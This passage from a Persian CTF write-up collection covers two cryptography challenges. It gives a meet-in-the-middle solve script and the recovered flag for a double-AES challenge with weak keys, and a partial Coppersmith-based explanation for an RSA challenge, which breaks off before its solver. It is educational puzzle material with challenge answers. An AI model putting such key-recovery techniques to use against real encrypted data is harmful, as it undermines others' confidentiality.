\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0647\u0645 \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.

server.py
from Crypto.Cipher import AES\nimport random\nfrom Crypto.Util.Padding import pad\n\na = b\"\"\nb = b\"\"\nFLAG = b\"TCP1P{REDACTED}\"\n\ndef generateKey():\n    global a, b\n    a = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()\n    b = (str(random.randint(0, 999999)).zfill(6)*4)[:16].encode()\n\ndef encrypt(plaintext, a, b):\n    cipher = AES.new(a, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(pad(plaintext, 16))\n    cipher = AES.new(b, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(ct)\n    return ct.hex()\n\ndef main():\n    generateKey()\n    print(\"Alice: My message\", encrypt(FLAG, a, b))\n    print(\"Alice: Now give me yours!\")\n    plain = input(\">> \")\n    print(\"Steve: \", encrypt(plain.encode(), a, b))\n    print(\"Alice: Agree.\")\n\n\nif __name__ == '__main__':\n    main()\n

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u062f \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u06a9\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u062f\u0648 \u0639\u062f\u062f \u062a\u0635\u0627\u062f\u0641\u06cc a \u0648 b \u0628\u06cc\u0646 0 \u062a\u0627 999999 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u0634\u0648\u0646\u062f\u060c \u0633\u067e\u0633 \u0622\u0646\u0647\u0627 \u0631\u0648 \u0628\u0647 \u0634\u06a9\u0644 \u0631\u0634\u062a\u0647 16 \u0628\u0627\u06cc\u062a\u06cc hex \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0644\u0648\u06a9\u06cc ECB \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0628\u0647 \u06a9\u062f \u062f\u0642\u062a \u06a9\u0646\u06cc\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u062f \u06a9\u0647 \u0641\u0644\u06af \u062f\u0648 \u0628\u0627\u0631 \u0628\u0647 \u0635\u0648\u0631\u062a \u0645\u062a\u0648\u0627\u0644\u06cc \u0631\u0645\u0632 \u0645\u06cc \u0634\u0648\u062f \u06cc\u0639\u0646\u06cc \u0627\u0628\u062a\u062f\u0627 \u0641\u0644\u06af \u0628\u0627 \u06a9\u0644\u06cc\u062f a \u0631\u0645\u0632\u0634\u062f\u0647 \u0633\u067e\u0633 \u0645\u0642\u062f\u0627\u0631 \u062e\u0631\u0648\u062c\u06cc \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u0644\u06cc\u062f b \u062f\u0648\u0628\u0627\u0631\u0647 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a\u060c \u0628\u0631\u0627\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0648 \u062d\u0644\u0642\u0647 \u062a\u0648\u062f\u0631\u062a\u0648 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u06a9\u0647 \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0632\u0645\u0627\u0646\u06cc \u0622\u0646 O(n^2) \u0627\u0633\u062a. \u0627\u0632\u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0647\u0631 \u06a9\u0644\u06cc\u062f \u06cc\u06a9 \u0639\u062f\u062f \u062a\u0635\u0627\u062f\u0641\u06cc \u0628\u06cc\u0646 0 \u062a\u0627 999999 \u0627\u0633\u062a \u067e\u0633 \u062a\u0639\u062f\u0627\u062f \u06a9\u0644 \u062d\u0627\u0644\u0627\u062a \u0645\u0645\u06a9\u0646 \u0628\u0631\u0627\u0628\u0631 1000000^2 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u06a9\u0647 \u0639\u0645\u0644\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 bruteforce \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u06a9\u0644\u06cc\u062f\u0647\u0627 \u0648 \u0633\u067e\u0633 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0641\u0644\u06af \u0631\u0627 \u063a\u06cc\u0631\u0645\u0645\u06a9\u0646 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0641\u06a9\u0631 \u0631\u0627\u0647 \u062f\u06cc\u06af\u0631\u06cc \u0628\u0648\u062f.

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0627\u06cc\u062f \u0628\u0647 \u062f\u0648 \u0646\u06a9\u062a\u0647 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0645:

\u0627\u06cc\u0646 \u062f\u0648 \u0648\u06cc\u0698\u06af\u06cc \u0645\u0627 \u0631\u0627 \u0628\u0647 \u0641\u06a9\u0631 \u062d\u0645\u0644\u0647 Meet-in-the-middle (MITM) \u06cc\u0627 \u0627\u0635\u0637\u0644\u0627\u062d\u0627 \u0645\u0644\u0627\u0642\u0627\u062a \u062f\u0631 \u0645\u06cc\u0627\u0646\u0647 \u0627\u0646\u062f\u0627\u062e\u062a. \u0686\u0648\u0646 \u0647\u0645 \u0645\u062a\u0646 \u067e\u06cc\u0627\u0645 \u0648 \u0647\u0645 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u062f\u0627\u0631\u06cc\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u062c\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0645\u0627\u0645 \u062d\u0627\u0644\u0627\u062a \u0645\u0645\u06a9\u0646 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc a \u0648 b \u0631\u0627 \u0628\u0647 \u0634\u06a9\u0644 \u0645\u062a\u0648\u0627\u0644\u06cc \u0627\u0645\u062a\u062d\u0627\u0646 \u06a9\u0646\u06cc\u0645\u060c \u0645\u062b\u0644 \u062a\u0635\u0648\u06cc\u0631 \u0632\u06cc\u0631 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a a \u0627\u0632 \u06cc\u06a9 \u0637\u0631\u0641 \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u06cc\u0645 \u0648 \u0622\u0646 \u0647\u0627 \u0631\u0627 \u0646\u06af\u0647 \u062f\u0627\u0631\u06cc\u0645. \u0633\u067e\u0633 \u0627\u0632 \u0637\u0631\u0641 \u0645\u0642\u0627\u0628\u0644 \u0645\u0642\u062f\u0627\u0631 \u0631\u0645\u0632 \u0631\u0627 \u0628\u0627 \u06a9\u0644\u06cc\u062f b \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645. \u0647\u0646\u06af\u0627\u0645\u06cc \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0642\u062f\u0627\u0631 \u06cc\u06a9\u0633\u0627\u0646 \u062f\u0631 \u0648\u0633\u0637 \u0628\u0631\u0633\u06cc\u0645 \u0627\u0635\u0637\u0644\u0627\u062d\u0627 \u0645\u0644\u0627\u0642\u0627\u062a \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc \u0627\u0641\u062a\u062f \u0648 \u0645\u0642\u062f\u0627\u0631 \u06a9\u0644\u06cc\u062f \u0647\u0627\u06cc a \u0648 b \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u062f\u0633\u062a \u0645\u06cc \u0622\u06cc\u062f. \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u0632\u0645\u0627\u0646\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0634\u0631\u0627\u06cc\u0637 \u0628\u0647 \u062f\u0644\u06cc\u0644 \u0639\u062f\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0644\u0642\u0647 \u062a\u0648\u062f\u0631\u062a\u0648 \u062d\u062f\u0627\u06a9\u062b\u0631\u0628\u0631\u0627\u0628\u0631 O(2n) \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

\u062d\u0627\u0644 \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0641\u0644\u06af \u06cc\u06a9 \u0628\u0627\u0631 \u0628\u0647 \u0633\u0631\u0648\u0631 \u0645\u062a\u0635\u0644 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u0648 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u067e\u06cc\u0627\u0645 \u062f\u0644\u062e\u0648\u0627\u0647 (\"a\") \u0628\u0647 \u0622\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0645\u0639\u0627\u062f\u0644 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0622\u0646 \u0631\u0627 \u0628\u062f\u0633\u062a \u0645\u06cc \u0622\u0648\u0631\u06cc\u0645. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0627\u0646\u0633\u062a\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 a \u0648 b \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u06cc\u0645 \u0628\u0627 \u0647\u0645\u0627\u0646 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u06a9\u0644 \u0641\u0644\u06af \u0631\u0645\u0632\u0634\u062f\u0647 \u0631\u0627 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645.

solve.py
from Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad, unpad\n\nFLAG = \"1c57bd307f4b7f05cb732f4ae7ba8b91a2de2682c4b6d10d86ae649eb656e812b5400f773e8b57fa68e188d33191320b51566d00f8dde9e4265160d399d02db0e4464d08542c3cba1280226994e2d5c6\"\nFLAG = bytes.fromhex(FLAG)\n\nc = \"be754ecefff84bcc8f145070a59ce039\"\nc = bytes.fromhex(c)\n\nplaintext = b\"a\"\n\nct_a = {}\nfor i in range(1_000_000):\n    a = (str(i).zfill(6)*4)[:16].encode()\n    cipher = AES.new(a, mode=AES.MODE_ECB)\n    ct = cipher.encrypt(pad(plaintext, 16))\n    ct_a[ct] = a\n\nfor i in range(1_000_000):\n    b = (str(i).zfill(6)*4)[:16].encode()\n    cipher = AES.new(b, mode=AES.MODE_ECB)\n    mid = cipher.decrypt(c)\n    if mid in ct_a:\n        cipher = AES.new(b, mode=AES.MODE_ECB)\n        ct = cipher.decrypt(FLAG)\n        cipher = AES.new(ct_a[mid], mode=AES.MODE_ECB)\n        print(unpad(cipher.decrypt(ct), 16).decode())\n
FLAG

TCP1P{nothing_ever_lasts_forever_everybody_wants_to_rule_the_world}

\u0646\u0648\u06cc\u0633\u0646\u062f\u06af\u0627\u0646

HIGHer \u060cN1k4

","tags":["TCP1P-CTF","TCP1P-2023","Crypto","AES","ECB mode","Meet-in-the-Middle (MITM)"]},{"location":"crypto/writeups/vSCTF/Redundancy/","title":"\u0686\u0627\u0644\u0634 Redundancy","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0632\u06cc\u0631 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u062d\u0627\u0648\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632\u0634\u062f\u0647 c1 \u060cc2 \u0648 \u067e\u06cc\u0645\u0627\u0646\u0647 n \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f.

server.py
from flag import flag\nfrom Crypto.Util.number import getPrime as gP\nfrom Crypto.Util.number import bytes_to_long\n\ne1, e2 = 5*2, 5*3\nassert len(flag) < 16\nflag = \"Wow good job the flag is (omg hype hype): vsctf{\"+flag+\"}\"\n\np = gP(1024)\nq = gP(1024)\n\nn = p * q\nm = int.from_bytes(flag.encode(), 'big')\nc1 = pow(m, e1, n)\nc2 = pow(m, e2, n)\n\nprint(f\"n = {n}\")\nprint(f\"c1 = {c1}\")\nprint(f\"c2 = {c2}\")\n
n = 17017748438705066485980265610504973941689507158214048907934864053951824889071064601073910857498716466379300399394556852943447842816066237762975759146067603346932655815765634166764048084180474131701931383171349451845316534710526574012912735473043515230467907689465656893004952933482461926380363467891367371320920210649076831336026531060035987624376755145919230635976854094060401025222767306359467726378382365555864913880755980365664883663551789406674211837707988941852191026959073337595157795634757323135639457679829852893808412935293002447739900499953490408700913079007749683585557520473906185642328582577705062027631\nc1 = 9003062544361468960014218470636404669173735044866342965869660382166263123283806177716541318605500035571883237116335008322263825288011535307210534022613104692306853206661705792651423740907471425532463013873903464958932506542067750598093825475707515378835734567383026995274504596249534287698334255122015294261751214389359548871918811764608535909122754450577618713535336693131845790212493936556686306004719501205711258082359280474173467230238314287036337126459732454648594184069081357024594728733999140381651217417997443994617467740923081974477194695681963791649774704734532274162532760702494593072786469541911070488784\nc2 = 2546072448640808612556238065690407010381885201320761372614998667179031247594621466783076820338223816545993779457675793555900878984022886823043416655251600929530018123073858500887780064339665319391244085462799327306580227414809334236098388514789401395708999589289970455742049539846184453090569082144704220108709060216465897683931008575383253420528012257869329475086084346328436404376300397163706384908585243637028839505661432353166021577388901987667955042566919645080401328362001267759995517247132976744463557149680150697522052163536029888394019138507753598600096770531185804183946347241540134230811866880904134661137\n

\u0628\u0627 \u0628\u0631\u0631\u0633\u06cc \u0627\u0648\u0644\u06cc\u0647 \u06a9\u062f \u0645\u06cc \u0641\u0647\u0645\u06cc\u0645 \u06a9\u0647 \u0645\u062a\u0646 \u0641\u0644\u06af \u062f\u0648 \u0628\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062f\u0648 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc e1 \u060ce2 \u0648 \u067e\u06cc\u0645\u0627\u0646\u0647 \u06cc\u06a9\u0633\u0627\u0646 n \u0628\u0627 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0631\u0645\u0632 \u0634\u062f\u0647 \u0627\u0646\u062f. \u0628\u0627 \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc \u0634\u0648\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0644\u06cc\u062f p \u0648 q \u0635\u062d\u06cc\u062d \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647 \u0648 \u0646\u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u0627 \u062a\u062c\u0632\u06cc\u0647 \u06a9\u0631\u062f\u0646 (factorization) \u0639\u062f\u062f n \u06a9\u0644\u06cc\u062f \u062e\u0635\u0648\u0635\u06cc \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f. \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u06cc\u0639\u0646\u06cc c1 \u0648 c2 \u0631\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647\u060c \u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062c\u0633\u062a\u062c\u0648 \u062f\u0631 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u060c \u0628\u0647 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u0631\u0633\u06cc\u062f\u06cc\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0627 \u06a9\u0645\u06a9 \u06a9\u0631\u062f. \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0645 \u062f\u0631 \u0635\u0648\u0631\u062a \u062f\u0627\u0634\u062a\u0646 \u062f\u0648 \u0645\u062a\u0646 \u0631\u0645\u0632\u0634\u062f\u0647\u060c \u0634\u0631\u0637 gcd(e1,e2)=1 \u0648 \u0645\u0642\u062f\u0627\u0631 n \u0648 m \u06cc\u06a9\u0633\u0627\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u062a\u0639\u0645\u06cc\u0645 \u0627\u0642\u0644\u06cc\u062f\u0633\u06cc EEA \u0628\u0647 \u0631\u0634\u062a\u0647 m \u06cc\u0639\u0646\u06cc \u0641\u0644\u06af \u0631\u0633\u06cc\u062f\u060c \u0627\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0642\u062f\u0627\u0631 gcd(e1,e2)=5 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 2 \u0648 3 \u0636\u0631\u0627\u06cc\u0628\u06cc \u0627\u0632 e1 \u0648 e2 \u0647\u0633\u062a\u0646\u062f \u0646\u0633\u0628\u062a \u0628\u0647 \u0647\u0645 \u0627\u0648\u0644 \u0647\u0633\u062a\u0646\u062f \u0648 \u0634\u0631\u0637 gcd(2,3)=1 \u062f\u0631 \u0622\u0646 \u0635\u062f\u0642 \u0645\u06cc \u06a9\u0646\u062f. \u067e\u0633 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0627 \u0631\u0648\u0634 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0644\u06cc\u0646\u06a9 \u0642\u0628\u0644\u06cc \u062d\u062f\u0627\u0642\u0644 \u062a\u0627\u062b\u06cc\u0631 \u062a\u0648\u0627\u0646 \u0647\u0627\u06cc 2 \u0648 3 \u0631\u0627 \u0628\u0627 \u0631\u0648\u0634 \u0632\u06cc\u0631 \u062d\u0630\u0641 \u0648 \u0628\u0647 c=m^5 \u0628\u0631\u0633\u06cc\u0645.

m^5 \\equiv c2 \\times{c1^{-1}} \\mod n m^5 \\equiv (m^{5})^3 \\times{ (m^{5})^{-2} } \\mod n

\u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647\u060c \u06cc\u06a9 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 m \u06af\u0631\u0641\u062a\u0646 \u0631\u06cc\u0634\u0647 5\u0627\u0645 \u0627\u0632 \u0645\u0631\u062d\u0644\u0647 \u0642\u0628\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u062a\u0646\u0647\u0627 \u0632\u0645\u0627\u0646\u06cc \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 m^5 \u0627\u0632 \u067e\u06cc\u0645\u0627\u0646\u0647 n \u06a9\u0648\u0686\u06cc\u06a9\u062a\u0631 \u0628\u0627\u0634\u062f. \u0627\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u06cc \u062f\u0627\u0646\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 p \u0648 q \u0627\u0639\u062f\u0627\u062f\u06cc 1024 \u0628\u06cc\u062a\u06cc \u0647\u0633\u062a\u0646\u0646\u062f \u06a9\u0647 \u0627\u0632 \u0636\u0631\u0628 \u0622\u0646\u0647\u0627 \u067e\u06cc\u0645\u0627\u0646\u0647 2048 \u0628\u06cc\u062a\u06cc n \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc \u0634\u0648\u062f. \u0627\u0632\u0637\u0631\u0641 \u062f\u06cc\u06af\u0631 \u0647\u0645\u0627\u0646 \u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u06a9\u062f \u0632\u06cc\u0631 \u0646\u0634\u0627\u0646 \u062f\u0627\u062f\u06cc\u0645\u060c \u0637\u0648\u0644 m \u06cc\u06a9 \u0645\u062a\u0646 64 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u06cc (\u0628\u0627 \u0641\u0631\u0636 15 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u0628\u0648\u062f\u0646 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc) \u0627\u0633\u062a \u06a9\u0647 \u0637\u0648\u0644 \u0622\u0646 512 \u0628\u06cc\u062a\u06cc \u0627\u0633\u062a\u060c \u067e\u0633 \u0647\u0646\u06af\u0627\u0645 m^5 \u0637\u0648\u0644 \u0622\u0646 2560 \u0628\u06cc\u062a \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0628\u0632\u0631\u06af\u062a\u0631 \u067e\u06cc\u0645\u0627\u0646\u0647 \u0627\u0633\u062a\u060c \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0645\u062d\u0627\u0633\u0628\u0647 \u0631\u06cc\u0634\u0647 \u0622\u0646 \u0631\u0627 \u0627\u0645\u06a9\u0627\u0646 \u067e\u0630\u06cc\u0631 \u0646\u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

p = gP(1024)\nq = gP(1024)\nn = p * q\nassert n.bit_length() == 2048\n\nm = \"Wow good job the flag is (omg hype hype): vsctf{aaaaaaaaaaaaaaa}\"\nassert m.bit_length() == (64*8) == 512\n

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u062f\u0642\u062a \u062f\u0631 \u06a9\u062f \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u067e\u06cc\u0627\u0645 m \u062f\u0627\u0631\u0627\u06cc \u0645\u0642\u062f\u0627\u0631\u06cc \u0645\u062a\u0646 \u0627\u0636\u0627\u0641\u06cc \u062b\u0627\u0628\u062a \u0642\u0628\u0644 \u0627\u0632 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0627\u0639\u062b \u0645\u06cc \u0634\u0648\u062f \u0647\u0646\u06af\u0627\u0645 \u062a\u0628\u062f\u06cc\u0644 m\u0628\u0647 \u0639\u062f\u062f\u060c \u0627\u0631\u0642\u0627\u0645 \u0622\u0646 \u062a\u0627 \u062d\u062f \u0632\u06cc\u0627\u062f\u06cc \u062b\u0627\u0628\u062a \u0628\u0627\u0642\u06cc \u0628\u0645\u0627\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 m \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062c\u0645\u0639 \u062f\u0648 \u0639\u062f\u062f m1 \u0648 m2 \u0645\u0627\u0646\u0646\u062f \u0641\u0631\u0645\u0648\u0644 \u0632\u06cc\u0631 \u0628\u0646\u0648\u06cc\u0633\u06cc\u0645. \u062f\u0631 \u0627\u06cc\u0646 \u062d\u0627\u0644\u062a \u0686\u0648\u0646 m1 \u0647\u0645\u06cc\u0634\u0647 \u0645\u0642\u062f\u0627\u0631 \u062b\u0627\u0628\u062a\u06cc \u0627\u0633\u062a\u060c \u0622\u0646 \u0631\u0627 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a.

C\\equiv m^5 \\ mod \\ n C\\equiv \\left (m{1} + m{2} \\right)^{5} mod \\ n

\u062f\u0631 \u0627\u06cc\u0646 \u0631\u0627\u0628\u0637\u0647 \u0631\u06cc\u0627\u0636\u06cc \u0645\u0642\u0627\u062f\u06cc\u0631 C \u060cm1 \u060cn \u0645\u0634\u062e\u0635 \u0627\u0633\u062a \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0637\u0648\u0644 m2 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062f\u0642\u06cc\u0642\u0627 \u0634\u0631\u0627\u06cc\u0637 \u062d\u0645\u0644\u0647 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc Coppersmith \u0631\u0627 \u0628\u0647 \u0648\u062c\u0648\u062f \u0645\u06cc \u0622\u0648\u0631\u062f. \u0686\u0648\u0646 \u0637\u0648\u0644 \u0641\u0644\u06af \u0627\u0635\u0644\u06cc (m2) \u06a9\u0645\u062a\u0631 \u0627\u0632 16 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0627\u0633\u062a \u0628\u0627\u06cc\u062f \u062f\u0631 \u06cc\u06a9 \u062d\u0644\u0642\u0647 \u0637\u0648\u0644 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 (1-15) \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u0646 \u0627\u0645\u062a\u062d\u0627\u0646 \u0645\u06cc\u200c\u06a9\u0631\u062f\u06cc\u0645 \u0627\u0645\u0627 \u0686\u0648\u0646 \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0637\u0648\u0644 \u0622\u0646 15 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f \u0648 \u06cc\u06a9 \u06a9\u0627\u0631\u06a9\u062a\u0631 \"{\" \u062f\u0631 \u0627\u0646\u062a\u0647\u0627\u06cc \u0622\u0646 \u0627\u0633\u062a\u060c \u0645\u0633\u062a\u0642\u06cc\u0645 \u0645\u0642\u062f\u0627\u0631 16 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 \u062f\u0631 m \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u06cc\u0645. \u062d\u0627\u0644 \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0645\u0642\u062f\u0627\u0631 m2 \u06a9\u0647 \u0641\u0644\u06af \u0686\u0627\u0644\u0634 \u0627\u0633\u062a \u0627\u0632 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u062d\u0644\u0642\u0647 \u0686\u0646\u062f\u062c\u0645\u0644\u0647 \u0627\u06cc (polynomial ring) \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u06a9\u0646\u06cc\u0645 (\u0627\u0632 \u0631\u0648\u0634 LLL \u0647\u0645 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0631\u06cc\u0634\u0647\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647 \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645). sage \u06cc\u06a9 \u0627\u0628\u0632\u0627\u0631 \u062a\u0648\u0627\u0646\u0645\u0646\u062f \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u067e\u06cc\u0634\u0631\u0641\u062a\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0632\u0628\u0627\u0646 \u067e\u0627\u06cc\u062a\u0648\u0646 \u062a\u0648\u0633\u0639\u0647 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06a9\u062f \u0632\u06cc\u0631 \u062f\u0631 sage \u06cc\u0627 import \u06a9\u0631\u062f\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647 \u0622\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646 \u0645\u0642\u062f\u0627\u0631 \u0641\u0644\u06af \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f.

solve.py
